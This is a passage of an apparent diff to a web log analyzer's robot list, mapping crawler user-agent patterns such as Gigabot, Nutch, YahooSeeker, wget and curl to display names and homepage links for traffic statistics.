home page [new window]" target="_blank">FAST Enterprise Crawler</a>', +'fast_enterprise_crawler.*scrawleradmin\.t\-info@telekom\.de','<a href="http://www.telekom.de/" title="FAST Enterprise Crawler * crawleradmin.t-info@telekom.de home page [new window]" target="_blank">FAST Enterprise Crawler * crawleradmin.t-info@telekom.de</a>', +'matrix_s\.p\.a\._\-_fast_enterprise_crawler','<a href="http://tin.virgilio.it/" title="Matrix S.p.A. - FAST Enterprise Crawler home page [new window]" target="_blank">Matrix S.p.A. - FAST Enterprise Crawler</a>', +'fast_enterprise_crawler.*t\-info_bi_cluster_crawleradmin\.t\-info@telekom\.de','<a href="http://www.telekom.de/" title="FAST Enterprise Crawler * T-Info_BI_cluster crawleradmin.t-info@telekom.de home page [new window]" target="_blank">FAST Enterprise Crawler * T-Info_BI_cluster crawleradmin.t-info@telekom.de</a>', +'favicon','FavIconizer', +'favorg','<a href="http://www.pcmag.com/article2/0,4149,108438,00.asp" title="FavOrg home page [new window]" target="_blank">FavOrg</a>', +'favorites_sweeper','<a href="http://www.manitools.com/favsweep/" title="Favorites_Sweeper home page [new window]" target="_blank">Favorites Sweeper</a>', +'feedburner', 'Feedburner', +'feedfetcher\-google','<a href="http://www.google.com/feedfetcher.html" title="Bot home page [new window]" target="_blank">Feedfetcher-Google</a>', +'feedflow','<a href="http://feedflow.com/about" title="Bot home page [new window]" target="_blank">FeedFlow</a>', +'feedster','<a href="http://www.feedster.com/" title="Bot home page [new window]" target="_blank">Feedster</a>', +'feedsky','<a href="http://www.feedsky.com/" title="Bot home page [new window]" target="_blank">FeedSky</a>', +'feedvalidator','<a href="http://feedvalidator.org/" title="FeedValidator home page [new window]" target="_blank">FeedValidator</a>', +'filmkamerabot','<a href="http://www.filmkamera.at/bot.html" title="FilmkameraBot home page [new window]" target="_blank">FilmkameraBot</a>', +'findexa_crawler','<a href="http://www.findexa.no/gulesider/article26548.ece " title="Findexa Crawler home page [new window]" target="_blank">Findexa Crawler</a>', +'geniebot','<a href="http://www.genieknows.com/" title="Bot home page [new window]" target="_blank">Geniebot</a>', +'findlinks','<a href="http://wortschatz.uni-leipzig.de/findlinks/" title="Bot home page [new window]" target="_blank">Findlinks</a>', +'fooky\.com\/ScorpionBot','<a href="http://www.fooky.com/scorpionbots" title="Fooky.com/ScorpionBot/ScoutOut home page [new window]" target="_blank">Fooky.com/ScorpionBot/ScoutOut</a>', +'g2crawler','<a href="http://crawler.instantnetworks.net/" title="Bot home page (nobody@airmail.net) [new window]" target="_blank">G2Crawler</a>', +'gaisbot','<a href="http://gais.cs.ccu.edu.tw/robot.php" title="Bot home page [new window]" target="_blank">Gaisbot</a>', +'gigabot','<a href="http://www.gigablast.com/spider.html" title="Bot home page [new window]" target="_blank">GigaBot</a>', +'girafabot','<a href="http://www.girafa.com/" title="Bot home page [new window]" target="_blank">Girafabot</a>', +'global_fetch','<a href="http://www.wesonet.com/" title="Global Fetch home page [new window]" target="_blank">Global Fetch</a>', +'gnodspider','GNOD Spider', +'goforit\.com','<a href="http://www.goforit.com/about/" title="GoForIt.com home page [new window]" target="_blank">GoForIt.com</a>', +'goforitbot','<a href="http://www.goforit.com/about/" title="GOFORITBOT home page [new window]" target="_blank">GOFORITBOT</a>', +'gonzo','<a href="http://www.suchen.de/faq.html" title="Bot home page [new windows]" target="_blank">suchen.de</a>', +'gpu_p2p_crawler','<a href="http://gpu.sourceforge.net/search_engine.php" title="Bot home page [new window]" target="_blank">GPU p2p crawler</a>', +'grub','Grub.org', +'henrythemiragorobot', '<a href="http://www.miragorobot.com/scripts/mrinfo.asp" title="Bot home page [new window]" target="_blank">Mirago</a>', +'heritrix','<a href="http://crawler.archive.org/" title="(used by a few different companies) Bot home page [new window]" target="_blank">Heritrix</a>', +'holmes', 'Holmes', +'hoowwwer','<a href="http://cosco.hiit.fi/search/hoowwwer/" title="HooWWWer home page [new window]" target="_blank">HooWWWer</a>', +'hpprint','HPPrint', +'htmlparser','<a href="http://htmlparser.sourceforge.net/" title="HTMLParser home page [new window]" target="_blank">HTMLParser</a>', +'html[_+ ]link[_+ ]validator','<a href="http://www.lithopssoft.com/ " title="Html_Link_Validator home page [new window]" target="_blank">Html_Link_Validator</a>', +'httrack','<a href="http://www.httrack.com/" title="Bot home page [new window]" target="_blank">HTTrack off-line browser</a>', +'hundesuche\.com\-bot','<a href="http://www.hundesuche.com/" title="Hundesuche.com-Bot home page [new window]" target="_blank">Hundesuche.com-Bot</a>', +'ichiro','<a href="http://help.goo.ne.jp/door/crawlerE.html" title="Bot home page [new window]" target="_blank">ichiro</a>', +'iltrovatore\-setaccio','<a href="http://www.iltrovatore.it/aiuto/motore_di_ricerca.html" title="bot@iltrovatore.it IlTrovatore-Setaccio home page [new window]" target="_blank">IlTrovatore-Setaccio</a>', +'infobot','<a href="http://www.infobot.org/" title="InfoBot home page [new window]" target="_blank">InfoBot</a>', +'infociousbot','<a href="http://corp.infocious.com/tech_crawler.php" title="InfociousBot home page [new window]" target="_blank">InfociousBot</a>', +'infomine','<a href="http://infomine.ucr.edu/useragents" title="Bot home page [new window]" target="_blank">INFOMINE VLCrawler</a>', +'insurancobot','<a href="http://www.fastspywareremoval.com/" title="InsurancoBot home page [new window]" target="_blank">InsurancoBot</a>', +'internet[_+ ]ninja','<a href="http://www.dti.ne.jp/ " title="Internet_Ninja home page [new window]" target="_blank">Internet_Ninja </a>', +'internetarchive','<a href="http://lucene.apache.org/nutch/bot.html " title="InternetArchive home page [new window]" target="_blank">InternetArchive</a>', +'internetseer', 'InternetSeer', +'internetsupervision','<a href="http://internetsupervision.com/" title="InternetSupervision home page [new window]" target="_blank">InternetSupervision</a>', +'irlbot','<a href="http://irl.cs.tamu.edu/crawler" title="Bot home page [new window]" target="_blank">IRLbot</a>', +'isearch2006','<a href="http://www.yahoo.com.cn/" title="isearch2006 home page [new window]" target="_blank">isearch2006</a>', +'iupui_research_bot','<a href="http://spamhuntress.com/2005/04/25/a-mail-harvester-visits/" title="IUPUI_Research_Bot home page [new window]" target="_blank">IUPUI_Research_Bot</a>', +'jrtwine[_+ ]software[_+ ]check[_+ ]favorites[_+ ]utility','<a href="http://www.jrtwine.com/Products/CheckFavs/" title="JRTwine_Software_Check_Favorites_Utility home page [new window]" target="_blank">JRTwine_Software_Check_Favorites_Utility</a>', +'justview', 'JustView', +'kalambot','<a href="http://64.124.122.251/feedback.html" title="KalamBot home page [new window]" target="_blank">KalamBot</a>', +'kamano\.de_newsfeedverzeichnis','<a href="http://www.kamano.de/" title="kamano.de NewsFeedVerzeichnis home page [new window]" target="_blank">kamano.de NewsFeedVerzeichnis</a>', +'kazoombot','<a href="http://www.kazoom.ca/bot.html" title="kazoombot@kazoom.ca KazoomBot home page [new window]" target="_blank">KazoomBot</a>', +'kevin','<a href="http://dznet.com/kevin/" title="Kevin home page [new window]" target="_blank">Kevin</a>', +'keyoshid','<a href="http://www.yahoo.co.jp/" title="Bot home page [new window]" target="_blank">Yahoo! Japan keyoshid robot study</a>', +'kinjabot', 'Kinjabot', +'kinja\-imagebot', 'Kinja Imagebot', +'knowitall','<a href="http://www.cs.washington.edu/research/knowitall/" title="KnowItAll home page [new window]" target="_blank">KnowItAll</a>', +'knowledge\.com','<a href="http://www.knowledge.com/" title="Knowledge.com home page [new window]" target="_blank">Knowledge.com</a>', +'kouaa_krawler','<a href="http://www.kouaa.com/" title="Kouaa Krawler home page [new window]" target="_blank">Kouaa Krawler</a>', +'krugle','<a href="http://www.krugle.com/crawler/info.html" title="Bot home page [new window]" target="_blank">Krugle</a>', +'ksibot','<a href="http://ego.ms.mff.cuni.cz/" title="Bot home page [new window]" target="_blank">ksibot</a>', +'kurzor','<a href="http://www.easymail.hu/" title="cursor@easymail.hu Kurzor home page [new window]" target="_blank">Kurzor</a>', +'lanshanbot','<a href="http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=%5Cbid_g_l_140406_1%5Cb" title="Bot Information [new window]" target="_blank">lanshanbot</a>', +'letscrawl\.com','<a href="http://letscrawl.com/" title="Bot home page [new window]" target="_blank">LetsCrawl.com</a>', +'libcrawl','Crawl libcrawl', +'link_valet_online','<a href="http://www.htmlhelp.com/tools/valet/" title="Link Valet Online home page [new window]" target="_blank">Link Valet Online</a>', +'linkbot','LinkBot', +'linkchecker','<a href="http://linkchecker.sourceforge.net" title="Bot home page [new window]" target="_blank">LinkChecker</a>', +'livejournal\.com', 'LiveJournal.com', +'magpierss', 'MagpieRSS', +'mail\.ru', 'Mail.ru bot', +'mapoftheinternet\.com','<a href="http://MapoftheInternet.com/" title="MapoftheInternet.com home page [new window]" target="_blank">MapoftheInternet.com</a>', +'mediapartners\-google','<a href="https://adwords.google.com/" title="Bot home page [new window]" target="_blank">Google AdSense</a>', +'megite','<a href="http://www.megite.com/" title="Megite home page [new window]" target="_blank">Megite</a>', +'metager\-linkchecker','MetaGer LinkChecker', +'metaspinner','<a href="http://index.meta-spinner.de/" title="Metaspinner home page [new window]" target="_blank">Metaspinner</a>', +'microsoft[_+ ]url[_+ ]control','<a href="http://www.webmasterworld.com/forum11/1005.htm" title="Microsoft URL Control home page [new window]" target="_blank">Microsoft URL Control</a>', +'minirank','<a href="http://minirank.com/" title="miniRank home page [new window]" target="_blank">miniRank</a>', +'mini\-reptile','Mini-reptile', +'missigua_locator','<a href="http://www.webmasterworld.com/forum11/2690.htm" title="Missigua_Locator home page [new window]" target="_blank">Missigua_Locator</a>', +'misterbot','<a href="http://www.misterbot.fr/" title="Misterbot home page [new window]" target="_blank">Misterbot</a>', +'miva','<a href="http://www.miva.com/" title="Miva home page [new window]" target="_blank">Miva</a>', +'mizzu_labs','<a href="http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_m_141105_2\b " title="Mizzu Labs home page [new window]" target="_blank">Mizzu Labs</a>', +'mj12bot','<a href="http://majestic12.co.uk/bot.php" title="Bot home page. [new window]" target="_blank">MJ12bot</a>', +'mojeekbot','<a href="http://www.mojeek.com/bot.html" title="Bot home page. [new window]" target="_blank">MojeekBot</a>', +'msiecrawler','<a href="http://msdn.microsoft.com/workshop/delivery/offline/linkrel.asp" title="Bot home page. [new window]" target="_blank">MSIECrawler</a>', +'ms_search_4\.0_robot','<a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;284022" title="Bot home page. [new window]" target="_blank">MS SharePoint Portal Server - MS Search 4.0 Robot</a>', +'msrabot','msrabot', +'msrbot','<a href="http://research.microsoft.com/research/sv/msrbot/" title="MSRBOT home page [new window]" target="_blank">MSRBOT</a>', +'mt::telegraph::agent','MT::Telegraph::Agent', +'mydoyouhike','<a href="http://www.doyouhike.net/my" title="Mydoyouhike home page [new window]" target="_blank">Mydoyouhike</a>', +'nagios','Nagios', +'nasa_search','<a href="http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_n_s_140506_2\b" title="NASA Search home page [new window]" target="_blank">NASA Search</a>', +'netluchs','<a href="http://www.netluchs.de/" title="Bot home page. [new window]" target="_blank">Netluchs</a>', +'netsprint','<a href="http://www.netsprint.pl/serwis/" title="NetSprint home page [new window]" target="_blank">NetSprint</a>', +'newsgatoronline', 'NewsGator Online', +'nicebot','<a href="http://www.egghelp.org/setup.htm" title="Bot home page (there may be others) [new window]" target="_blank">nicebot</a>', +'nimblecrawler','<a href="http://www.healthline.com/" title="NimbleCrawler home page [new window]" target="_blank">NimbleCrawler</a>', +'noxtrumbot','<a href="http://www.noxtrum.com/" title="Bot home page [new window]" target="_blank">noxtrumbot</a>', +'npbot','<a href="http://www.nameprotect.com/botinfo.html" title="NPBot home page [new window]" target="_blank">NPBot</a>', +'nutchcvs','<a href="http://lucene.apache.org/nutch/bot.html" title="NutchCVS home page [new window]" target="_blank">NutchCVS</a>', +'nutchosu\-vlib','<a href="http://lucene.apache.org/nutch/bot.html" title="NutchOSU-VLIB home page [new window]" target="_blank">NutchOSU-VLIB</a>', +'nutch','<a href="http://lucene.apache.org/nutch/" title="Bot home page. Used by many, including Looksmart. [new window]" target="_blank">Nutch</a>', +'ocelli','<a href="http://www.globalspec.com/Ocelli/" title="Ocelli home page [new window]" target="_blank">Ocelli</a>', +'octora_beta_bot','<a href="http://www.octora.com/" title="Bot home page [new window]" target="_blank">Octora Beta Bot</a>', +'omniexplorer[_+ ]bot','<a href="http://www.omni-explorer.com/" title="Bot home page. [new window]" target="_blank">OmniExplorer Bot</a>', +'onet\.pl[_+ ]sa','<a href="http://szukaj.onet.pl/" title="Onet.pl_SA home page [new window]" target="_blank">Onet.pl_SA</a>', +'onfolio','<a href="http://www.onfolio.com/" title="Bot home page [new window]">Onfolio</a>', +'opentaggerbot','<a href="http://www.opentagger.com/opentaggerbot.htm" title="Bot home page [new window]">OpenTaggerBot</a>', +'openwebspider','<a href="http://www.openwebspider.org/" title="OpenWebSpider home page [new window]" target="_blank">OpenWebSpider</a>', +'oracle_ultra_search','<a href="http://www.oracle.com/technology/products/ultrasearch/index.html" title="Oracle Ultra Search home page [new window]" target="_blank">Oracle Ultra Search</a>', +'orbiter','<a href="http://www.dailyorbit.com/bot.htm" title="Orbiter home page [new window]" target="_blank">Orbiter</a>', +'yodaobot','<a href="http://www.yodao.com/help/webmaster/spider/" title="YodaoBot">OutfoxBot/YodaoBot</a>', +'qihoobot','<a href="http://www.qihoo.com/" title="QihooBot">QihooBot</a>', +'passwordmaker\.org','<a href="http://passwordmaker.org/" title="passwordmaker.org home page [new window]" target="_blank">passwordmaker.org</a>', +'pear_http_request_class','<a href="http://pear.php.net/" title="PEAR HTTP Request class home page [new window]" target="_blank">PEAR HTTP Request class</a>', +'peerbot','<a href="http://www.peerbot.com/" title="PEERbot home page [new window]" target="_blank">PEERbot</a>', +'perman', 'Perman surfer', +'php[_+ ]version[_+ ]tracker','<a href="http://www.nexen.net/phpversion/bot.php" title="PHP Version Tracker home page [new window]" target="_blank">PHP version tracker</a>', +'pictureofinternet','<a href="http://malfunction.org/poi/" title="PictureOfInternet home page [new window]" target="_blank">PictureOfInternet</a>', +'ping\.blo\.gs','<a href="http://blo.gs/ping.php" title="Bot home page. [new window]" target="_blank">ping.blo.gs</a>', +'plinki','<a href="http://www.plinki.com/" title="plinki home page [new window]" target="_blank">plinki</a>', +'pluckfeedcrawler','<a href="http://www.pluck.com/" title="Bot home page. [new window]" target="_blank">PluckFeedCrawler</a>', +'pogodak','<a href="http://www.pogodak.com" title="Pogodak home page [new window]" target="_blank">Pogodak.com</a>', +'pompos','<a href="http://dir.com/pompos.html" title="Bot home page. [new window]" target="_blank">Pompos</a>', +'popdexter','Popdexter', +'port_huron_labs','<a href="http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_n_s_1133\b" title="Port Huron Labs home page [new window]" target="_blank">Port Huron Labs</a>', +'postfavorites','<a href="http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_n_s_1135\b " title="PostFavorites home page [new window]" target="_blank">PostFavorites</a>', +'projectwf\-java\-test\-crawler','ProjectWF-java-test-crawler', +'proodlebot','<a href="http://www.proodle.com/" title="proodleBot home page [new window]" target="_blank">proodleBot</a>', +'pyquery','<a href="http://sourceforge.net/projects/pyquery/" title="PyQuery home page [new window]" target="_blank">PyQuery</a>', +'rambler','<a href="http://www.rambler.ru/doc/faq.shtml" title="Bot home page [new window]">StackRambler</a>', +'redalert','Red Alert', +'relevantnoise\.com', '<a href="http://www.relevantnoise.com/" title="Relevant Noise [new window]" target="_blank">Relevant Noise</a>', +'rojo','<a href="http://rojo.com/" title="Bot home page [new window]" target="_blank">RoJo</a> aggregator', +'rssimagesbot','<a href="http://herbert.groot.jebbink.nl/?app=rssImages" title="Bot home page [new window]" target="_blank">rssImagesBot</a>', +'ruffle','<a href="http://www.unreach.net/" title="Bot home page [new window]" target="_blank">ruffle SemanticWeb crawler</a>', +'rufusbot','<a href="http://64.124.122.252.webaroo.com/feedback.html" title="Bot home page [new window]" target="_blank">RufusBot Rufus Web Miner</a>', +'sandcrawler','<a href="http://www.microsoft.com/" title="Bot home page [new window]" target="_blank">SandCrawler (Microsoft)</a>', +'sbider','<a href="http://www.sitesell.com/sbider.html" title="Bot home page [new window]" target="_blank">SBIder</a>', +'schizozilla','<a href="http://spamhuntress.com/2005/03/18/gizmo/ " title="Schizozilla home page [new window]" target="_blank">Schizozilla</a>', +'scumbot','Scumbot', +'searchguild[_+ ]dmoz[_+ ]experiment','<a href="http://www.searchguild.com/" title="SearchGuild_DMOZ_Experiment home page [new window]" target="_blank">SearchGuild_DMOZ_Experiment</a>', +'seekbot','<a href="http://www.seekbot.net/bot.html" title="Bot home page [new window]">Seekbot</a>', +'sensis_web_crawler','<a href="http://www.sensis.com.au/" title="Sensis Web Crawler home page [new window]" target="_blank">Sensis Web Crawler</a>', +'seznambot','<a href="http://fulltext.seznam.cz/" title="Bot home page [new window]" target="_blank">SeznamBot</a>', +'shim\-crawler','<a href="http://www.logos.ic.i.u-tokyo.ac.jp/crawler/" title="crawl@logos.ic.i.u-tokyo.ac.jp Bot home page [new window]" target="_blank">Shim-Crawler</a>', +'shoutcast','Shoutcast Directory Service', +'slysearch','SlySearch', +'snap\.com_beta_crawler','<a href="http://www.snap.com/" title="snap.com beta crawler home page [new window]" target="_blank">snap.com beta crawler</a>', +'sohu\-search','<a href="http://corp.sohu.com/" title="Bot home page [new window]" target="_blank">sohu-search</a>', +'sohu','<a href="http://corp.sohu.com/" title="Bot home page [new window]" target="_blank">sohu agent</a>', +'snappy','<a href="http://www.urltrends.com/faq.php" title="Bot home page [new window]" target="_blank">Snappy</a>', +'sphere_scout','<a href="http://www.sphere.com/" title="Bot home page [new window]" target="_blank">Sphere Scout</a>', +'spip','<a href="http://www.spip.net" title="SPIP home page [new window]" target="_blank">SPIP</a>', +'sproose_crawler','<a href="http://www.sproose.com/bot.html" title="Bot home page [new window]" target="_blank">sproose crawler</a>', +'steroid__download','<a href="http://faqs.org.ru/progr/pascal/delphi_internet2.htm" title="STEROID Download home page [new window]" target="_blank">STEROID Download</a>', +'steeler','<a href="http://www.tkl.iis.u-tokyo.ac.jp/~crawler/ " title="Steeler home page [new window]" target="_blank">Steeler</a>', +'suchfin\-bot','<a href="http://www.suchfin.de/" title="Suchfin-Bot home page [new window]" target="_blank">Suchfin-Bot</a>', +'superbot','<a href="http://www.sparkleware.com/superbot/" title="SuperBot home page [new window]" target="_blank">SuperBot</a>', +'surveybot','SurveyBot', +'susie','<a href="http://www.sync2it.com/bms/susie.php" title="Susie home page [new window]" target="_blank">Susie</a>', +'syndic8','Syndic8', +'syndicapi','<a href="http://syndicapi.com/bot.html" title="Bot home page [new window]" target="_blank">SyndicAPI</a>', +'synoobot','<a href="http://www.synoo.de/bot.html" title="webmaster@synoo.com SynooBot home page [new window]" target="_blank">SynooBot</a>', +'tcl_http_client_package','<a href="http://www.tcl.tk/man/tcl8.4/TclCmd/http.htm" title="Tcl http client package home page [new window]" target="_blank">Tcl http client package</a>', +'technoratibot', 'Technoratibot', +'teragramcrawlersurf','<a href="http://www.teragram.com/" title="TeragramCrawlerSURF home page [new window]" target="_blank">TeragramCrawlerSURF</a>', +'test_crawler','<a href="http://netp.ath.cx/" title="Test Crawler home page [new window]" target="_blank">Test Crawler</a>', +'testbot','<a href="http://www.agbrain.com/" title="TestBot home page [new window]" target="_blank">TestBot</a>', +'t\-h\-u\-n\-d\-e\-r\-s\-t\-o\-n\-e','<a href="http://www.thunderstone.com/" title="Bot home page. Used by many. [new window]" target="_blank">T-H-U-N-D-E-R-S-T-O-N-E</a>', +'topicblogs', '<a href="http://www.topicblogs.com/" title="Bot home page [new window]" target="_blank">topicblogs</a>', +'turnitinbot','Turn It In', +'turtle', 'Turtle', +'turtlescanner', 'Turtle', +'tutorgigbot','<a href="http://www.tutorgig.info/" title="TutorGigBot home page [new window]" target="_blank">TutorGigBot</a>', +'twiceler','<a href="http://www.cuill.com/twiceler/robot.html" title="Twiceler home page [new window]" target="_blank">twiceler</a>', +'ubicrawler','<a href="http://law.dsi.unimi.it/ubicrawler/" title="Bot home page [new window]" target="_blank">UbiCrawler</a>', +'ultraseek', 'Ultraseek', +'unchaos_bot_hybrid_web_search_engine','<a href="http://www.unchaos.com/" title="UnChaos Bot Hybrid Web Search Engine home page [new window]" target="_blank">UnChaos Bot Hybrid Web Search Engine</a>', +'unido\-bot','<a href="http://www.unchina.org/unido/unido/our_projects/3_3.html" title="unido-bot home page [new window]" target="_blank">unido-bot</a>', +'updated','<a href="http://www.updated.com/" title="updated home page [new window]" target="_blank">updated</a>', +'ustc\-semantic\-group','<a href="http://ai.ustc.edu.cn/mas/en/research/index.php" title="Bot home page [new window]" target="_blank">USTC-Semantic-Group</a>', +'vagabondo\-wap','<a href="http://www.wise-guys.nl/Contact/index.php?botselected=webagents&lang=uk" title="Bot home page [new window]" target="_blank">Vagabondo-WAP</a>', +'vagabondo','<a href="http://www.wise-guys.nl/Contact/index.php?botselected=webagents&lang=uk" title="Bot home page [new window]" target="_blank">Vagabondo</a>', +'vermut','<a href="http://vermut.aol.com/" title="Bot home page [new window]" target="_blank">Vermut</a>', +'versus_crawler_from_eda\.baykan@epfl\.ch','<a href="http://www.epfl.ch/Eindex.html " title="versus crawler from eda.baykan@epfl.ch home page [new window]" target="_blank">versus crawler from eda.baykan@epfl.ch</a>', +'vespa_crawler','<a href="http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=%5Cbid_t_z_030406_1%5Cb" title="Bot home page [new window]" target="_blank">Vespa Crawler</a>', +'vortex','<a href="http://marty.anstey.ca/projects/robots/vortex/" title="Bot home page [new window]" target="_blank">VORTEX</a>', +'vse\/','<a href="http://www.vivisimo.com/" title="VSE home page [new window]" target="_blank">VSE</a>', +'w3c\-checklink','<a href="http://validator.w3.org/checklink/" title="Bot home page [new window]" target="_blank">W3C Link Checker</a>', +'w3c[_+ ]css[_+ ]validator[_+ ]jfouffa', '<a href="http://jigsaw.w3.org/css-validator/" title="Bot home page [new window]" target="_blank">W3C jigsaw CSS Validator</a>', +'w3c_validator','<a href="http://validator.w3.org/" title="Bot home page [new window]" target="_blank">W3C Validator</a>', +'watchmouse', '<a href="http://www.watchmouse.com/en/" title="WatcMouse">WatchMouse Website Monitor</a>', +'wavefire','<a href="http://www.wavefire.com" title="info@wavefire.com; Bot home page [new window]" target="_blank">Wavefire</a>', +'webclipping\.com', 'WebClipping.com', +'webcompass', 'webcompass', +'webcrawl\.net','<a href="http://www.webcrawl.net/" title="webcrawl.net home page [new window]" target="_blank">webcrawl.net</a>', +'web_downloader','<a href="http://www.krasu.ru/soft/chuchelo/" title="Web Downloader home page [new window]" target="_blank">Web Downloader</a>', +'webdup','<a href="http://www.webdup.com/en/index.html" title="Webdup home page [new window]" target="_blank">Webdup</a>', +'webfilter','<a href="http://www.verso.com/enterprise/netspective/webfilter.asp" title="Bot home page [new window]" target="_blank">WebFilter</a>', +'webindexer','<a href="mailto://webindexerv1@yahoo.com" title="WebIndexer home page [new window]" target="_blank">WebIndexer</a>', +'webminer','<a href="http://64.124.122.252/feedback.html" title="WebMiner home page [new window]" target="_blank">WebMiner</a>', +'website[_+ ]monitoring[_+ ]bot','<a href="http://InternetSupervision.com/UrlMonitor/3/" title="Website_Monitoring_Bot home page [new window]" target="_blank">Website_Monitoring_Bot</a>', +'webvulncrawl', 'WebVulnCrawl', +'wells_search','<a href="http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_t_z_1484\b " title="Wells Search home page [new window]" target="_blank">Wells Search</a>', +'wonderer', 'Web Wombat Redback Spider', +'wume_crawler','<a href="http://wume.cse.lehigh.edu/~xiq204/crawler/ " title="wume crawler home page [new window]" target="_blank">wume crawler</a>', +'wwweasel',,'<a href="http://wwweasel.de/" title="Website_Monitoring_Bot home page [new window]" target="_blank">WWWeasel</a>', +'xenu\'s_link_sleuth','<a href="http://home.snafu.de/tilman/xenulink.html" title="Xenu Link Sleuth home page [new window]" target="_blank">Xenu Link Sleuth</a>', +'xenu_link_sleuth','<a href="http://home.snafu.de/tilman/xenulink.html" title="Xenu Link Sleuth home page [new window]" target="_blank">Xenu Link Sleuth</a>', +'xirq','<a href="http://www.xirq.com/" title="xirq home page [new window]" target="_blank">xirq</a>', +'y!j', '<a href="http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html" title="Bot home page [new window]" target="_blank">Y!J Yahoo Japan</a>', +'yacy','<a href="http://www.yacy.net/yacy" title="Bot home page [new window]" target="_blank">yacy</a>', +'yahoo\-blogs','<a href="http://help.yahoo.com/help/us/ysearch/crawling/crawling-02.html" title="Bot home page [new window]" target="_blank">Yahoo-Blogs</a>', +'yahoo\-verticalcrawler', 'Yahoo Vertical Crawler', +'yahoofeedseeker', '<a href="http://publisher.yahoo.com/rssguide" title="Bot home page [new window]" target="_blank">Yahoo Feed Seeker</a>', +'yahooseeker\-testing', '<a href="http://search.yahoo.com/" title="Bot home page [new window]" target="_blank">YahooSeeker-Testing</a>', +'yahooseeker', '<a href="http://help.yahoo.com/help/us/ysearch/crawling/crawling-02.html" title="Bot home page [new window]" target="_blank">YahooSeeker Yahoo! Blog crawler</a>', +'yahoo\-mmcrawler', '<a href="mailto:mms-mmcrawler-support@yahoo-inc.com?subject=Yahoo-MMCrawler Information" title="E-mail Bot">Yahoo-MMCrawler</a>', +'yahoo!_mindset','<a href="http://mindset.research.yahoo.com/" title="Bot home page [new window]">Yahoo! Mindset</a>', +'yandex', 'Yandex bot', +'flexum', 'Flexum Search Engine', +'yanga', 'Yanga WorldSearch Bot', +'yooglifetchagent','<a href="http://www.yoogli.com/" title="yoogliFetchAgent home page [new window]" target="_blank">yoogliFetchAgent</a>', +'z\-add_link_checker','<a href="http://w3.z-add.co.uk/linkcheck/" title="Z-Add Link Checker home page [new window]" target="_blank">Z-Add Link Checker</a>', +'zealbot','ZealBot', +'zhuaxia','<a href="http://www.zhuaxia.com/" target="_blank">ZhuaXia</a>', +'zspider','<a href="http://feedback.redkolibri.com/" title="Bot home page [new window]" target="_blank">zspider</a>', +'zeus','<a href="http://www.webmasterworld.com/forum11/1840.htm" title="Bot documentation [new window]" target="_blank">Zeus Webster Pro</a>', +'ng\/1\.','<a href="http://www.exabot.com/" title="Bot home page [new window]" target="_blank">NG 1.x (Exalead)</a>', # put at end to avoid false positive +'ng\/2\.','<a href="http://www.exabot.com/" title="Bot home page [new window]" target="_blank">NG 2.x (Exalead)</a>', # put at end to avoid false positive +'exabot','<a href="http://www.exabot.com/" title="Bot home page [new window]" target="_blank">Exabot</a>', # put at end to avoid false positive +# Other id that are 99% of robots +'wget','WGet tools', +'libwww','Perl tool', +'^java\/[0-9]','<a href="http://www.projecthoneypot.org/harvester_useragents.php" title="Bot home page [new window]" target="_blank">Java (Often spam bot)</a>', # put at end to avoid false positive +# Generic robot +'robot', 'Unknown robot (identified by \'robot\')', +'checker', 'Unknown robot (identified by \'checker\')', +'crawl', 'Unknown robot (identified by \'crawl\')', +'discovery', 'Unknown robot (identified by \'discovery\')', +'hunter', 'Unknown robot (identified by \'hunter\')', +'scanner', 'Unknown robot (identified by \'scanner\')', +'spider', 'Unknown robot (identified by \'spider\')', +'sucker', 'Unknown robot (identified by \'sucker\')', +'bot[\s_+:,\.\;\/\\\-]','Unknown robot (identified by \'bot*\')', +'[\s_+:,\.\;\/\\\-]bot','Unknown robot (identified by \'*bot\')', +'curl', 'Common *nix tool for automating web document retireval. Most likely a bot.', +'php', 'A PHP script', +'ruby\/', 'Ruby script', +# Additional bots found by Sussex. +'^[1-3]$', 'Generic bot identified as "1", "2" or "3"', +'alltop', 'alltop', +'applesyndication', 'applesyndication', +'asynchttpclient', 'asynchttpclient', +'bingbot', 'bingbot', +'blogged_crawl', 'blogged_crawl', +'bloglovin', 'bloglovin', +'butterfly', 'butterfly', +'buzztracker', 'buzztracker', +'carpathia', 'carpathia', +'catbot', 'catbot', +'chattertrap', 'chattertrap', +'check_http', 'check_http (nagios)', +'coldfusion', 'coldfusion', +'covario', 'covario', +'daylifefeedfetcher', 'daylifefeedfetcher', +'discobot', 'discobot', +'dlvr\.it', 'dlvr.it', +'dreamwidth', 'dreamwidth', +'drupal', 'Drupal Site', +'ezoom', 'ezoom', +'feedmyinbox', 'feedmyinbox', +'feedroll\.com', 'feedroll.com', +'feedzira', 'feedzira', +'fever\/', '<a href="http://feedafever.com">Feed a Fever</a>', +'freenews', 'freenews', +'geohasher', 'geohasher', +'hanrss', 'hanrss', +'inagist', 'inagist', +'jacobin club', 'jacobin club', +'jakarta', 'jakarta', +'js\-kit', 'js-kit', +'largesmall crawler', 'largesmall crawler', +'linkedinbot', 'linkedinbot', +'longurl', 'longurl', +'metauri', 'metauri', +'microsoft\-webdav\-miniredir', 'microsoft-webdav-miniredir', +'^motorola$', 'Suspected Bot masquerading as "Motorola"', +'movabletype', 'movabletype', +'^mozilla\/3\.0 \(compatible$', 'Suspected bot masqurading as Mozilla', +'^mozilla\/4\.0$', 'Suspected bot masqurading as Mozilla', +'^mozilla\/4\.0 \(compatible;\)$', 'Suspected bot masqurading as Mozilla', +'^mozilla\/5\.0$', 'Suspected bot masqurading as Mozilla', +'^mozilla\/5\.0 \(compatible;$', 'Suspected bot masqurading as Mozilla', +'^mozilla\/5\.0 \(en\-us\)$', 'Suspected bot masqurading as Mozilla', +'^mozilla\/5\.0 firefox\/3\.0\.5$', 'Suspected bot masqurading as Mozilla', +'^msie', 'Suspected bot masquerading as M$ IE', +'netnewswire', 'netnewswire', +' netseer ', '<a href="http://www.netseer.com/crawler.html">Net Seer</a>', 